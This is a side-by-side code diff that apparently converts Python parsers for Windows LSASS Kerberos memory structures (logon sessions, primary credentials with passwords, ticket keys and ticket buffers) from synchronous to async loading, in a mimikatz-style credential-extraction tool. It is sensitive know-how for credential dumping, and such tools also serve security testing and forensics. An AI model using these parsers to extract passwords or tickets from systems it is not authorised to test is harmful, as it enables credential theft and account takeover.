487 | reader.align() | |
488 | self.unk9 = FILETIME(reader).value | |
489 | self.unk11 = PVOID(reader).value | |
490 | self.unk12 = PVOID(reader).value | |
491 | self.unk13 = PVOID(reader).value | |
492 | reader.align(8) | |
784 | await reader.align() | |
785 | res.unk7 = await FILETIME.loadvalue(reader) | |
786 | res.unk8 = await PVOID.loadvalue(reader) | |
787 | res.unk8b = await ULONG.loadvalue(reader) | |
788 | await reader.align() | |
789 | res.unk9 = await FILETIME.loadvalue(reader) | |
790 | res.unk11 = await PVOID.loadvalue(reader) | |
791 | res.unk12 = await PVOID.loadvalue(reader) | |
792 | res.unk13 = await PVOID.loadvalue(reader) | |
793 | await reader.align(8) | |
493 | 794 | |
494 | 795 | #input('credentials\n' + hexdump(reader.peek(0x100))) |
495 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) | |
496 | self.unk14 = ULONG(reader).value | |
497 | self.unk15 = ULONG(reader).value | |
498 | self.unk16 = ULONG(reader).value | |
499 | self.unk17 = ULONG(reader).value | |
796 | res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader) | |
797 | res.unk14 = await ULONG.loadvalue(reader) | |
798 | res.unk15 = await ULONG.loadvalue(reader) | |
799 | res.unk16 = await ULONG.loadvalue(reader) | |
800 | res.unk17 = await ULONG.loadvalue(reader) | |
500 | 801 | #//PVOID unk18 = (reader).value |
501 | reader.align(8) | |
502 | self.unk19 = PVOID(reader).value | |
503 | self.unk20 = PVOID(reader).value | |
504 | self.unk21 = PVOID(reader).value | |
505 | self.unk22 = PVOID(reader).value | |
506 | self.unk23 = PVOID(reader).value | |
507 | self.unk24 = PVOID(reader).value | |
508 | self.unk25 = PVOID(reader).value | |
509 | ||
510 | self.pKeyList = PVOID(reader) | |
511 | self.unk26 = PVOID(reader).value | |
802 | await reader.align(8) | |
803 | res.unk19 = await PVOID.loadvalue(reader) | |
804 | res.unk20 = await PVOID.loadvalue(reader) | |
805 | res.unk21 = await PVOID.loadvalue(reader) | |
806 | res.unk22 = await PVOID.loadvalue(reader) | |
807 | res.unk23 = await PVOID.loadvalue(reader) | |
808 | res.unk24 = await PVOID.loadvalue(reader) | |
809 | res.unk25 = await PVOID.loadvalue(reader) | |
810 | res.pKeyList = await PVOID.load(reader) | |
811 | res.unk26 = await PVOID.loadvalue(reader) | |
512 | 812 | #input('pKeyList\n' + hexdump(reader.peek(0x100))) |
513 | reader.align() | |
813 | await reader.align() | |
514 | 814 | #input('Tickets_1\n' + hexdump(reader.peek(0x100))) |
515 | self.Tickets_1 = LIST_ENTRY(reader) | |
516 | self.unk27 = FILETIME(reader).value | |
517 | self.Tickets_2 = LIST_ENTRY(reader) | |
518 | self.unk28 = FILETIME(reader).value | |
519 | self.Tickets_3 = LIST_ENTRY(reader) | |
520 | self.unk29 = FILETIME(reader).value | |
521 | self.SmartcardInfos = PVOID(reader) | |
815 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
816 | res.unk27 = await FILETIME.loadvalue(reader) | |
817 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
818 | res.unk28 = await FILETIME.loadvalue(reader) | |
819 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
820 | res.unk29 = await FILETIME.loadvalue(reader) | |
821 | res.SmartcardInfos = await PVOID.load(reader) | |
822 | return res | |
522 | 823 | |
523 | 824 | class KIWI_KERBEROS_LOGON_SESSION_10: |
524 | def __init__(self, reader): | |
525 | self.UsageCount = ULONG(reader).value | |
526 | reader.align() | |
527 | self.unk0 = LIST_ENTRY(reader) | |
528 | self.unk1 = PVOID(reader).value | |
529 | self.unk1b = ULONG(reader).value | |
530 | reader.align() | |
531 | self.unk2 = FILETIME(reader).value | |
532 | self.unk4 = PVOID(reader).value | |
533 | self.unk5 = PVOID(reader).value | |
534 | self.unk6 = PVOID(reader).value | |
535 | self.LocallyUniqueIdentifier = LUID(reader).value | |
536 | self.unk7 = FILETIME(reader).value | |
537 | self.unk8 = PVOID(reader).value | |
538 | self.unk8b = ULONG(reader).value | |
539 | reader.align() | |
540 | self.unk9 = FILETIME(reader).value | |
541 | self.unk11 = PVOID(reader).value | |
542 | self.unk12 = PVOID(reader).value | |
543 | self.unk13 = PVOID(reader).value | |
544 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader) | |
545 | self.unk14 = ULONG(reader).value | |
546 | self.unk15 = ULONG(reader).value | |
547 | self.unk16 = ULONG(reader).value | |
548 | self.unk17 = ULONG(reader).value | |
825 | def __init__(self): | |
826 | self.UsageCount = None | |
827 | self.unk0 = None | |
828 | self.unk1 = None | |
829 | self.unk1b = None | |
830 | self.unk2 = None | |
831 | self.unk4 = None | |
832 | self.unk5 = None | |
833 | self.unk6 = None | |
834 | self.LocallyUniqueIdentifier = None | |
835 | self.unk7 = None | |
836 | self.unk8 = None | |
837 | self.unk8b = None | |
838 | self.unk9 = None | |
839 | self.unk11 = None | |
840 | self.unk12 = None | |
841 | self.unk13 = None | |
842 | self.credentials = None | |
843 | self.unk14 = None | |
844 | self.unk15 = None | |
845 | self.unk16 = None | |
846 | self.unk17 = None | |
847 | #self.unk18 = None | |
848 | self.unk19 = None | |
849 | self.unk20 = None | |
850 | self.unk21 = None | |
851 | self.unk22 = None | |
852 | self.unk23 = None | |
853 | self.unk24 = None | |
854 | self.unk25 = None | |
855 | self.pKeyList = None | |
856 | self.unk26 = None | |
857 | self.Tickets_1 = None | |
858 | self.unk27 = None | |
859 | self.Tickets_2 = None | |
860 | self.unk28 = None | |
861 | self.Tickets_3 = None | |
862 | self.unk29 = None | |
863 | self.SmartcardInfos = None | |
864 | ||
865 | @staticmethod | |
866 | async def load(reader): | |
867 | res = KIWI_KERBEROS_LOGON_SESSION_10() | |
868 | res.UsageCount = await ULONG.loadvalue(reader) | |
869 | await reader.align() | |
870 | res.unk0 = await LIST_ENTRY.load(reader) | |
871 | res.unk1 = await PVOID.loadvalue(reader) | |
872 | res.unk1b = await ULONG.loadvalue(reader) | |
873 | await reader.align() | |
874 | res.unk2 = await FILETIME.loadvalue(reader) | |
875 | res.unk4 = await PVOID.loadvalue(reader) | |
876 | res.unk5 = await PVOID.loadvalue(reader) | |
877 | res.unk6 = await PVOID.loadvalue(reader) | |
878 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
879 | res.unk7 = await FILETIME.loadvalue(reader) | |
880 | res.unk8 = await PVOID.loadvalue(reader) | |
881 | res.unk8b = await ULONG.loadvalue(reader) | |
882 | await reader.align() | |
883 | res.unk9 = await FILETIME.loadvalue(reader) | |
884 | res.unk11 = await PVOID.loadvalue(reader) | |
885 | res.unk12 = await PVOID.loadvalue(reader) | |
886 | res.unk13 = await PVOID.loadvalue(reader) | |
887 | res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader) | |
888 | res.unk14 = await ULONG.loadvalue(reader) | |
889 | res.unk15 = await ULONG.loadvalue(reader) | |
890 | res.unk16 = await ULONG.loadvalue(reader) | |
891 | res.unk17 = await ULONG.loadvalue(reader) | |
549 | 892 | #self.unk18 = PVOID(reader).value |
550 | self.unk19 = PVOID(reader).value | |
551 | self.unk20 = PVOID(reader).value | |
552 | self.unk21 = PVOID(reader).value | |
553 | self.unk22 = PVOID(reader).value | |
554 | self.unk23 = PVOID(reader).value | |
555 | self.unk24 = PVOID(reader).value | |
556 | self.unk25 = PVOID(reader).value | |
557 | self.pKeyList = PVOID(reader) | |
558 | self.unk26 = PVOID(reader).value | |
559 | self.Tickets_1 = LIST_ENTRY(reader) | |
560 | self.unk27 = FILETIME(reader).value | |
561 | self.Tickets_2 = LIST_ENTRY(reader) | |
562 | self.unk28 = FILETIME(reader).value | |
563 | self.Tickets_3 = LIST_ENTRY(reader) | |
564 | self.unk29 = FILETIME(reader).value | |
565 | self.SmartcardInfos = PVOID(reader) | |
893 | res.unk19 = await PVOID.loadvalue(reader) | |
894 | res.unk20 = await PVOID.loadvalue(reader) | |
895 | res.unk21 = await PVOID.loadvalue(reader) | |
896 | res.unk22 = await PVOID.loadvalue(reader) | |
897 | res.unk23 = await PVOID.loadvalue(reader) | |
898 | res.unk24 = await PVOID.loadvalue(reader) | |
899 | res.unk25 = await PVOID.loadvalue(reader) | |
900 | res.pKeyList = await PVOID.load(reader) | |
901 | res.unk26 = await PVOID.loadvalue(reader) | |
902 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
903 | res.unk27 = await FILETIME.loadvalue(reader) | |
904 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
905 | res.unk28 = await FILETIME.loadvalue(reader) | |
906 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
907 | res.unk29 = await FILETIME.loadvalue(reader) | |
908 | res.SmartcardInfos = await PVOID.load(reader) | |
909 | return res | |
566 | 910 | |
567 | 911 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER): |
568 | def __init__(self, reader): | |
569 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO) | |
570 | ||
912 | def __init__(self): | |
913 | super().__init__() | |
914 | ||
915 | @staticmethod | |
916 | async def load(reader): | |
917 | p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO() | |
918 | p.location = reader.tell() | |
919 | p.value = await reader.read_uint() | |
920 | p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO | |
921 | return p | |
571 | 922 | |
572 | 923 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO: |
573 | def __init__(self, reader): | |
574 | self.StructSize = DWORD(reader).value | |
575 | reader.align() | |
576 | self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned = | |
577 | ||
578 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER): | |
579 | def __init__(self, reader): | |
580 | super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) | |
924 | def __init__(self): | |
925 | self.StructSize = None | |
926 | self.isoBlob = None | |
927 | ||
928 | @staticmethod | |
929 | async def load(reader): | |
930 | res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO() | |
931 | res.StructSize = await DWORD.loadvalue(reader) | |
932 | await reader.align() | |
933 | res.isoBlob = await PLSAISO_DATA_BLOB.load(reader) #POINTER!!!! #// aligned = | |
934 | return res | |
935 | ||
936 | class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER): | |
937 | def __init__(self): | |
938 | super().__init__() | |
939 | ||
940 | @staticmethod | |
941 | async def load(reader): | |
942 | p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607() | |
943 | p.location = reader.tell() | |
944 | p.value = await reader.read_uint() | |
945 | p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607 | |
946 | return p | |
581 | 947 | |
582 | 948 | class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607: |
583 | def __init__(self, reader): | |
584 | self.UserName = LSA_UNICODE_STRING(reader) | |
585 | self.Domaine = LSA_UNICODE_STRING(reader) | |
586 | self.unkFunction = PVOID(reader).value | |
587 | self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value | |
588 | reader.align() | |
589 | self.Password = LSA_UNICODE_STRING(reader) # union { | |
590 | self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader) | |
591 | ||
592 | class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER): | |
593 | def __init__(self, reader): | |
594 | super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607) | |
949 | def __init__(self): | |
950 | self.UserName = None | |
951 | self.Domaine = None | |
952 | self.unkFunction = None | |
953 | self.type = None | |
954 | self.Password = None | |
955 | self.IsoPassword = None | |
956 | ||
957 | @staticmethod | |
958 | async def load(reader): | |
959 | res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607() | |
960 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
961 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
962 | res.unkFunction = await PVOID.loadvalue(reader) | |
963 | res.type = await DWORD.loadvalue(reader) # // or flags 2 = normal, 1 = ISO(reader).value | |
964 | await reader.align() | |
965 | res.Password = await LSA_UNICODE_STRING.load(reader) # union { | |
966 | res.IsoPassword = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO.load(reader) | |
967 | return res | |
968 | ||
969 | class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER): | |
970 | def __init__(self): | |
971 | super().__init__() | |
972 | ||
973 | @staticmethod | |
974 | async def load(reader): | |
975 | p = PKIWI_KERBEROS_LOGON_SESSION_10_1607() | |
976 | p.location = reader.tell() | |
977 | p.value = await reader.read_uint() | |
978 | p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10_1607 | |
979 | return p | |
595 | 980 | |
596 | 981 | |
597 | 982 | class KIWI_KERBEROS_LOGON_SESSION_10_1607: |
598 | def __init__(self, reader): | |
599 | #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) | |
600 | self.UsageCount = ULONG(reader).value | |
601 | reader.align() | |
602 | self.unk0 = LIST_ENTRY(reader) | |
603 | self.unk1 = PVOID(reader).value | |
604 | self.unk1b = ULONG(reader).value | |
605 | reader.align() | |
606 | self.unk2 = FILETIME(reader).value | |
607 | self.unk4 = PVOID(reader).value | |
608 | self.unk5 = PVOID(reader).value | |
609 | self.unk6 = PVOID(reader).value | |
610 | self.LocallyUniqueIdentifier = LUID(reader).value | |
611 | self.unk7 = FILETIME(reader).value | |
612 | self.unk8 = PVOID(reader).value | |
613 | self.unk8b = ULONG(reader).value | |
614 | reader.align() | |
615 | self.unk9 = FILETIME(reader).value | |
616 | self.unk11 = PVOID(reader).value | |
617 | self.unk12 = PVOID(reader).value | |
618 | self.unk13 = PVOID(reader).value | |
619 | reader.align(8) | |
620 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) | |
621 | self.unk14 = ULONG(reader).value | |
622 | self.unk15 = ULONG(reader).value | |
623 | self.unk16 = ULONG(reader).value | |
624 | self.unk17 = ULONG(reader).value | |
625 | self.unk18 = PVOID(reader).value | |
626 | self.unk19 = PVOID(reader).value | |
627 | self.unk20 = PVOID(reader).value | |
628 | self.unk21 = PVOID(reader).value | |
629 | self.unk22 = PVOID(reader).value | |
630 | self.unk23 = PVOID(reader).value | |
983 | def __init__(self): | |
984 | self.UsageCount = None | |
985 | self.unk0 = None | |
986 | self.unk1 = None | |
987 | self.unk1b = None | |
988 | self.unk2 = None | |
989 | self.unk4 = None | |
990 | self.unk5 = None | |
991 | self.unk6 = None | |
992 | self.LocallyUniqueIdentifier = None | |
993 | self.unk7 = None | |
994 | self.unk8 = None | |
995 | self.unk8b = None | |
996 | self.unk9 = None | |
997 | self.unk11 = None | |
998 | self.unk12 = None | |
999 | self.unk13 = None | |
1000 | self.credentials = None | |
1001 | self.unk14 = None | |
1002 | self.unk15 = None | |
1003 | self.unk16 = None | |
1004 | self.unk17 = None | |
1005 | self.unk18 = None | |
1006 | self.unk19 = None | |
1007 | self.unk20 = None | |
1008 | self.unk21 = None | |
1009 | self.unk22 = None | |
1010 | self.unk23 = None | |
1011 | self.pKeyList = None | |
1012 | self.unk26 = None | |
1013 | self.Tickets_1 = None | |
1014 | self.unk27 = None | |
1015 | self.Tickets_2 = None | |
1016 | self.unk28 = None | |
1017 | self.Tickets_3 = None | |
1018 | self.unk29 = None | |
1019 | self.SmartcardInfos = None | |
1020 | ||
1021 | @staticmethod | |
1022 | async def load(reader): | |
1023 | res = KIWI_KERBEROS_LOGON_SESSION_10_1607() | |
1024 | res.UsageCount = await ULONG.loadvalue(reader) | |
1025 | await reader.align() | |
1026 | res.unk0 = await LIST_ENTRY.load(reader) | |
1027 | res.unk1 = await PVOID.loadvalue(reader) | |
1028 | res.unk1b = await ULONG.loadvalue(reader) | |
1029 | await reader.align() | |
1030 | res.unk2 = await FILETIME.loadvalue(reader) | |
1031 | res.unk4 = await PVOID.loadvalue(reader) | |
1032 | res.unk5 = await PVOID.loadvalue(reader) | |
1033 | res.unk6 = await PVOID.loadvalue(reader) | |
1034 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
1035 | res.unk7 = await FILETIME.loadvalue(reader) | |
1036 | res.unk8 = await PVOID.loadvalue(reader) | |
1037 | res.unk8b = await ULONG.loadvalue(reader) | |
1038 | await reader.align() | |
1039 | res.unk9 = await FILETIME.load(reader) | |
1040 | res.unk11 = await PVOID.loadvalue(reader) | |
1041 | res.unk12 = await PVOID.loadvalue(reader) | |
1042 | res.unk13 = await PVOID.loadvalue(reader) | |
1043 | await reader.align(8) | |
1044 | res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader) | |
1045 | res.unk14 = await ULONG.loadvalue(reader) | |
1046 | res.unk15 = await ULONG.loadvalue(reader) | |
1047 | res.unk16 = await ULONG.loadvalue(reader) | |
1048 | res.unk17 = await ULONG.loadvalue(reader) | |
1049 | res.unk18 = await PVOID.loadvalue(reader) | |
1050 | res.unk19 = await PVOID.loadvalue(reader) | |
1051 | res.unk20 = await PVOID.loadvalue(reader) | |
1052 | res.unk21 = await PVOID.loadvalue(reader) | |
1053 | res.unk22 = await PVOID.loadvalue(reader) | |
1054 | res.unk23 = await PVOID.loadvalue(reader) | |
631 | 1055 | #self.unk24 = PVOID(reader).value |
632 | 1056 | #self.unk25 = PVOID(reader).value |
633 | reader.align() | |
1057 | await reader.align() | |
634 | 1058 | #reader.read(8+12) |
635 | 1059 | #input('pkeylist \n' + hexdump(reader.peek(0x50))) |
636 | self.pKeyList = PVOID(reader) | |
637 | self.unk26 = PVOID(reader).value | |
638 | self.Tickets_1 = LIST_ENTRY(reader) | |
639 | self.unk27 = FILETIME(reader).value | |
640 | self.Tickets_2 = LIST_ENTRY(reader) | |
641 | self.unk28 = FILETIME(reader).value | |
642 | self.Tickets_3 = LIST_ENTRY(reader) | |
643 | self.unk29 = FILETIME(reader).value | |
644 | self.SmartcardInfos = PVOID(reader) | |
645 | ||
1060 | res.pKeyList = await PVOID.load(reader) | |
1061 | res.unk26 = await PVOID.loadvalue(reader) | |
1062 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
1063 | res.unk27 = await FILETIME.loadvalue(reader) | |
1064 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
1065 | res.unk28 = await FILETIME.loadvalue(reader) | |
1066 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
1067 | res.unk29 = await FILETIME.loadvalue(reader) | |
1068 | res.SmartcardInfos = await PVOID.load(reader) | |
1069 | return res | |
646 | 1070 | |
647 | 1071 | class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86: |
648 | def __init__(self, reader): | |
649 | #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300))) | |
650 | self.UsageCount = ULONG(reader).value | |
651 | reader.align() | |
652 | self.unk0 = LIST_ENTRY(reader) | |
653 | self.unk1 = PVOID(reader).value | |
654 | self.unk1b = ULONG(reader).value | |
655 | reader.align() | |
656 | self.unk2 = FILETIME(reader).value | |
657 | self.unk4 = PVOID(reader).value | |
658 | self.unk5 = PVOID(reader).value | |
659 | self.unk6 = PVOID(reader).value | |
660 | self.LocallyUniqueIdentifier = LUID(reader).value | |
1072 | def __init__(self): | |
1073 | self.UsageCount = None | |
1074 | self.unk0 = None | |
1075 | self.unk1 = None | |
1076 | self.unk1b = None | |
1077 | self.unk2 = None | |
1078 | self.unk4 = None | |
1079 | self.unk5 = None | |
1080 | self.unk6 = None | |
1081 | self.LocallyUniqueIdentifier = None | |
1082 | self.unk7 = None | |
1083 | self.unk8 = None | |
1084 | self.unk8b = None | |
1085 | self.unk9 = None | |
1086 | self.unk11 = None | |
1087 | self.unk12 = None | |
1088 | self.unk13 = None | |
1089 | self.unkAlign = None | |
1090 | self.credentials = None | |
1091 | self.unk14 = None | |
1092 | self.unk15 = None | |
1093 | self.unk16 = None | |
1094 | self.unk17 = None | |
1095 | self.unk18 = None | |
1096 | self.unk19 = None | |
1097 | self.unk20 = None | |
1098 | self.unk21 = None | |
1099 | self.unk22 = None | |
1100 | self.unk23 = None | |
1101 | self.pKeyList = None | |
1102 | self.unk26 = None | |
1103 | self.Tickets_1 = None | |
1104 | self.unk27 = None | |
1105 | self.Tickets_2 = None | |
1106 | self.unk28 = None | |
1107 | self.Tickets_3 = None | |
1108 | self.unk29 = None | |
1109 | self.SmartcardInfos = None | |
1110 | ||
1111 | ||
1112 | @staticmethod | |
1113 | async def load(reader): | |
1114 | res = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86() | |
1115 | res.UsageCount = await ULONG.loadvalue(reader) | |
1116 | await reader.align() | |
1117 | res.unk0 = await LIST_ENTRY.load(reader) | |
1118 | res.unk1 = await PVOID.loadvalue(reader) | |
1119 | res.unk1b = await ULONG.loadvalue(reader) | |
1120 | await reader.align() | |
1121 | res.unk2 = await FILETIME.loadvalue(reader) | |
1122 | res.unk4 = await PVOID.loadvalue(reader) | |
1123 | res.unk5 = await PVOID.loadvalue(reader) | |
1124 | res.unk6 = await PVOID.loadvalue(reader) | |
1125 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
661 | 1126 | #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier)) |
662 | self.unk7 = FILETIME(reader).value | |
663 | self.unk8 = PVOID(reader).value | |
664 | self.unk8b = ULONG(reader).value | |
665 | reader.align() | |
666 | self.unk9 = FILETIME(reader).value | |
667 | self.unk11 = PVOID(reader).value | |
668 | self.unk12 = PVOID(reader).value | |
669 | self.unk13 = PVOID(reader).value | |
670 | self.unkAlign = ULONG(reader).value | |
1127 | res.unk7 = await FILETIME.loadvalue(reader) | |
1128 | res.unk8 = await PVOID.loadvalue(reader) | |
1129 | res.unk8b = await ULONG.loadvalue(reader) | |
1130 | await reader.align() | |
1131 | res.unk9 = await FILETIME.loadvalue(reader) | |
1132 | res.unk11 = await PVOID.loadvalue(reader) | |
1133 | res.unk12 = await PVOID.loadvalue(reader) | |
1134 | res.unk13 = await PVOID.loadvalue(reader) | |
1135 | res.unkAlign = await ULONG.loadvalue(reader) | |
671 | 1136 | #input('credentials \n' + hexdump(reader.peek(0x200))) |
672 | self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader) | |
673 | self.unk14 = ULONG(reader).value | |
674 | self.unk15 = ULONG(reader).value | |
675 | self.unk16 = ULONG(reader).value | |
676 | self.unk17 = ULONG(reader).value | |
677 | self.unk18 = PVOID(reader).value | |
678 | self.unk19 = PVOID(reader).value | |
679 | self.unk20 = PVOID(reader).value | |
680 | self.unk21 = PVOID(reader).value | |
681 | self.unk22 = PVOID(reader).value | |
682 | self.unk23 = PVOID(reader).value | |
1137 | res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader) | |
1138 | res.unk14 = await ULONG.loadvalue(reader) | |
1139 | res.unk15 = await ULONG.loadvalue(reader) | |
1140 | res.unk16 = await ULONG.loadvalue(reader) | |
1141 | res.unk17 = await ULONG.loadvalue(reader) | |
1142 | res.unk18 = await PVOID.loadvalue(reader) | |
1143 | res.unk19 = await PVOID.loadvalue(reader) | |
1144 | res.unk20 = await PVOID.loadvalue(reader) | |
1145 | res.unk21 = await PVOID.loadvalue(reader) | |
1146 | res.unk22 = await PVOID.loadvalue(reader) | |
1147 | res.unk23 = await PVOID.loadvalue(reader) | |
683 | 1148 | #self.unk24 = PVOID(reader).value |
684 | 1149 | #self.unk25 = PVOID(reader).value |
685 | reader.align() | |
686 | ||
687 | self.pKeyList = PVOID(reader) | |
688 | self.unk26 = PVOID(reader).value | |
1150 | await reader.align() | |
1151 | ||
1152 | res.pKeyList = await PVOID.load(reader) | |
1153 | res.unk26 = await PVOID.loadvalue(reader) | |
689 | 1154 | #input('Tickets_1 \n' + hexdump(reader.peek(0x200))) |
690 | self.Tickets_1 = LIST_ENTRY(reader) | |
691 | self.unk27 = FILETIME(reader).value | |
692 | self.Tickets_2 = LIST_ENTRY(reader) | |
693 | self.unk28 = FILETIME(reader).value | |
694 | self.Tickets_3 = LIST_ENTRY(reader) | |
695 | self.unk29 = FILETIME(reader).value | |
696 | self.SmartcardInfos = PVOID(reader) | |
697 | ||
698 | class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): | |
699 | def __init__(self, reader): | |
700 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51) | |
1155 | res.Tickets_1 = await LIST_ENTRY.load(reader) | |
1156 | res.unk27 = await FILETIME.loadvalue(reader) | |
1157 | res.Tickets_2 = await LIST_ENTRY.load(reader) | |
1158 | res.unk28 = await FILETIME.loadvalue(reader) | |
1159 | res.Tickets_3 = await LIST_ENTRY.load(reader) | |
1160 | res.unk29 = await FILETIME.loadvalue(reader) | |
1161 | res.SmartcardInfos = await PVOID.load(reader) | |
1162 | return res | |
1163 | ||
1164 | class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): | |
1165 | def __init__(self): | |
1166 | super().__init__() | |
1167 | ||
1168 | @staticmethod | |
1169 | async def load(reader): | |
1170 | p = PKIWI_KERBEROS_INTERNAL_TICKET_51() | |
1171 | p.location = reader.tell() | |
1172 | p.value = await reader.read_uint() | |
1173 | p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_51 | |
1174 | return p | |
701 | 1175 | |
702 | 1176 | |
703 | 1177 | class KIWI_KERBEROS_INTERNAL_TICKET_51: |
704 | def __init__(self, reader): | |
705 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) | |
706 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader) | |
707 | self.unk0 = PVOID(reader).value | |
708 | self.unk1 = PVOID(reader).value | |
709 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
710 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
711 | self.DomainName = LSA_UNICODE_STRING(reader) | |
712 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
713 | self.Description = LSA_UNICODE_STRING(reader) | |
714 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
715 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
716 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
717 | self.unk2 = ULONG(reader).value | |
718 | self.KeyType = ULONG(reader).value | |
719 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
720 | self.unk3 = PVOID(reader).value | |
721 | self.unk4 = PVOID(reader).value | |
722 | self.unk5 = PVOID(reader).value | |
723 | self.unk6 = PVOID(reader).value | |
724 | self.unk7 = PVOID(reader).value | |
725 | self.unk8 = PVOID(reader).value | |
726 | self.StartTime = FILETIME(reader).value | |
727 | self.EndTime = FILETIME(reader).value | |
728 | self.RenewUntil = FILETIME(reader).value | |
729 | self.unk9 = ULONG(reader).value | |
730 | self.unk10 = ULONG(reader).value | |
731 | self.domain = PCWSTR(reader).value | |
732 | self.unk11 = ULONG(reader).value | |
733 | self.strangeNames = PVOID(reader).value | |
734 | self.unk12 = ULONG(reader).value | |
735 | self.TicketEncType = ULONG(reader).value | |
736 | self.TicketKvno = ULONG(reader).value | |
737 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
1178 | def __init__(self): | |
1179 | self.Flink = None | |
1180 | self.Blink = None | |
1181 | self.unk0 = None | |
1182 | self.unk1 = None | |
1183 | self.ServiceName = None | |
1184 | self.TargetName = None | |
1185 | self.DomainName = None | |
1186 | self.TargetDomainName = None | |
1187 | self.Description = None | |
1188 | self.AltTargetDomainName = None | |
1189 | self.ClientName = None | |
1190 | self.TicketFlags = None | |
1191 | self.unk2 = None | |
1192 | self.KeyType = None | |
1193 | self.Key = None | |
1194 | self.unk3 = None | |
1195 | self.unk4 = None | |
1196 | self.unk5 = None | |
1197 | self.unk6 = None | |
1198 | self.unk7 = None | |
1199 | self.unk8 = None | |
1200 | self.StartTime = None | |
1201 | self.EndTime = None | |
1202 | self.RenewUntil = None | |
1203 | self.unk9 = None | |
1204 | self.unk10 = None | |
1205 | self.domain = None | |
1206 | self.unk11 = None | |
1207 | self.strangeNames = None | |
1208 | self.unk12 = None | |
1209 | self.TicketEncType = None | |
1210 | self.TicketKvno = None | |
1211 | self.Ticket = None | |
1212 | ||
1213 | @staticmethod | |
1214 | async def load(reader): | |
1215 | res = KIWI_KERBEROS_INTERNAL_TICKET_51() | |
1216 | res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader) | |
1217 | res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader) | |
1218 | res.unk0 = await PVOID.loadvalue(reader) | |
1219 | res.unk1 = await PVOID.loadvalue(reader) | |
1220 | res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) | |
1221 | res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) | |
1222 | res.DomainName = await LSA_UNICODE_STRING.load(reader) | |
1223 | res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1224 | res.Description = await LSA_UNICODE_STRING.load(reader) | |
1225 | res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) | |
1226 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1227 | x = await reader.read(4) | |
1228 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) | |
1229 | res.unk2 = await ULONG.loadvalue(reader) | |
1230 | res.KeyType = await ULONG.loadvalue(reader) | |
1231 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
